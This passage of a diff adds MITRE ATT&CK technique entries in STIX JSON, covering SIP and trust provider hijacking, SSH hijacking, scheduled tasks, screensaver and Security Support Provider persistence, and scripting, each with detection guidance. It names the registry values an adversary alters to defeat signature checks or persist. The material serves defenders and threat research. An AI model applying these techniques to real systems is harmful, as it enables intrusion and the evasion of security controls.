[ + { + "url": "https://attack.mitre.org/techniques/T1198", + "source_name": "mitre-attack", + "external_id": "T1198" + }, + { + "url": "https://msdn.microsoft.com/library/ms537359.aspx", + "source_name": "Microsoft Authenticode", + "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", + "source_name": "Microsoft WinVerifyTrust", + "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018." + }, + { + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018." + }, + { + "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", + "source_name": "EduardosBlog SIPs July 2008", + "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018." + }, + { + "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", + "source_name": "Microsoft Catalog Files and Signatures April 2017", + "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018." + }, + { + "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage", + "source_name": "GitHub SIP POC Sept 2017", + "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018." + }, + { + "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", + "source_name": "Entrust Enable CAPI2 Aug 2017", + "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018." + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", + "source_name": "Microsoft Registry Auditing Aug 2016", + "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018." + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)", + "source_name": "Microsoft Audit Registry July 2012", + "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Application logs", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Autoruns Analysis", + "Digital Certificate Validation", + "Process whitelisting", + "User Mode Signature Validation" + ], + "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "name": "SIP and Trust Provider Hijacking", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1184", + "source_name": "mitre-attack", + "external_id": "T1184" + }, + { + "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", + "source_name": "SSHjack Blackhat", + "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017." + }, + { + "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking", + "source_name": "Clockwork SSH Agent Hijacking", + "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017." + }, + { + "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", + "source_name": "Slideshare Abusing SSH", + "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018." + }, + { + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", + "source_name": "Welivesecurity Ebury SSH", + "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "name": "SSH Hijacking", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_system_requirements": [ + "SSH service enabled, trust relationships configured, established connections" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053", + "source_name": "mitre-attack", + "external_id": "T1053" + }, + { + "url": "https://capec.mitre.org/data/definitions/557.html", + "source_name": "capec", + "external_id": "CAPEC-557" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx", + "source_name": "TechNet Task Scheduler Security", + "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://twitter.com/leoloobeek/status/939248813465853953", + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017." + }, + { + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017." + }, + { + "url": "https://technet.microsoft.com/library/dd315590.aspx", + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Leo Loobeek, @leoloobeek", + "Travis Smith, Tripwire", + "Alain Homewood, Insomnia Security" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n* Event ID 106 - Scheduled task registered\n* Event ID 140 - Scheduled task updated\n* Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "name": "Scheduled Task", + "created": "2017-05-31T21:30:46.977Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.", + "x_mitre_effective_permissions": [ + "SYSTEM", + "Administrator", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1029", + "source_name": "mitre-attack", + "external_id": "T1029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.", + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "name": "Scheduled Transfer", + "created": "2017-05-31T21:30:34.139Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1113", + "source_name": "mitre-attack", + "external_id": "T1113" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "name": "Screen Capture", + "created": "2017-05-31T21:31:25.060Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n### Mac\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n### Linux\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1180", + "source_name": "mitre-attack", + "external_id": "T1180" + }, + { + "url": "https://en.wikipedia.org/wiki/Screensaver", + "source_name": "Wikipedia Screensaver", + "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017." + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "modified": "2019-04-03T14:59:35.691Z", + "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "name": "Screensaver", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1064", + "source_name": "mitre-attack", + "external_id": "T1064" + }, + { + "url": "http://www.metasploit.com", + "source_name": "Metasploit_Ref", + "description": "Metasploit. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "https://www.veil-framework.com/framework/", + "source_name": "Veil_Ref", + "description": "Veil Framework. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "https://github.com/mattifestation/PowerSploit", + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014." + }, + { + "url": "https://www.uperesia.com/analyzing-malicious-office-documents", + "source_name": "Uperesia Malicious Office Documents", + "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Data Execution Prevention", + "Exploit Prevention" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "modified": "2019-06-10T19:18:11.461Z", + "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "name": "Scripting", + "created": "2017-05-31T21:30:51.733Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1063", + "source_name": "mitre-attack", + "external_id": "T1063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-23T21:51:36.072Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "name": "Security Software Discovery", + "created": "2017-05-31T21:30:51.330Z", + "x_mitre_version": "2.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. These checks may be built into early-stage remote access tools.\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1101", + "source_name": "mitre-attack", + "external_id": "T1101" + }, + { + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017." + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "name": "Security Support Provider", + "created": "2017-05-31T21:31:13.447Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1167", + "source_name": "mitre-attack", + "external_id": "T1167" + }, + { + "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", + "source_name": "OS X Keychain", + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017." + }, + { + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "source_name": 